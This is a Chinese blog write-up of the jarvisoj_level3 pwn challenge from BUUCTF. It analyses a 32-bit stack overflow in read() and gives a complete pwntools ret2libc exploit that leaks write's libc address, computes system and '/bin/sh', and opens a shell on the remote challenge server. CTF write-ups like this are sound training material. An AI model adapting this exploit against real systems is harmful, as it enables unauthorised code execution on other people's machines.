[BUU-WP]jarvisoj_level3

最新推荐文章于 2024-07-11 19:14:54 发布

m0sway

最新推荐文章于 2024-07-11 19:14:54 发布

阅读量778

点赞数

分类专栏： BUU-PWN 文章标签： pwn 网络安全安全

本文链接：https://blog.csdn.net/m0sway/article/details/121469827

版权

BUU-PWN 专栏收录该内容

58 篇文章 0 订阅

订阅专栏

本文详细分析了一道CTF竞赛中的栈溢出题目，通过checksec工具确认了栈不可执行的保护措施。利用ida逆向工程发现漏洞函数，通过write函数泄露libc地址，然后计算system和/bin/sh的地址，最终构造payload实现ret2libc攻击，成功获取shell。

摘要由CSDN通过智能技术生成

jarvisoj_level3

使用checksec查看：
在这里插入图片描述

只开启了栈不可执行，估计又是一道栈溢出的题目，直接放进IDA中看吧：
在这里插入图片描述

主函数中直接给了漏洞函数，跟进去查看：
在这里插入图片描述
read()函数可以向buf变量中写入0x100而buf距离ebp只有0x88，存在栈溢出

但这道题没有system和/bin/sh，一道标准的ret2libc

用write函数泄露libc地址，找system和/bin/sh

exp:

from pwn import *

#start 
r = remote("node4.buuoj.cn",28172)
# r = process("../buu/jarvisoj_level3")
elf = ELF("../buu/jarvisoj_level3")
libc = ELF("../buu/ubuntu16(32).so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack 
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendlineafter(b"Input:\n",payload)
write_addr = u32(r.recv(4))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b"/bin/sh"))

#attack2
payload = b'M'*(0x88+4) + p32(system_addr) + b'M'*4 + p32(bin_sh_addr)
r.sendlineafter(b"Input:\n",payload)

r.interactive()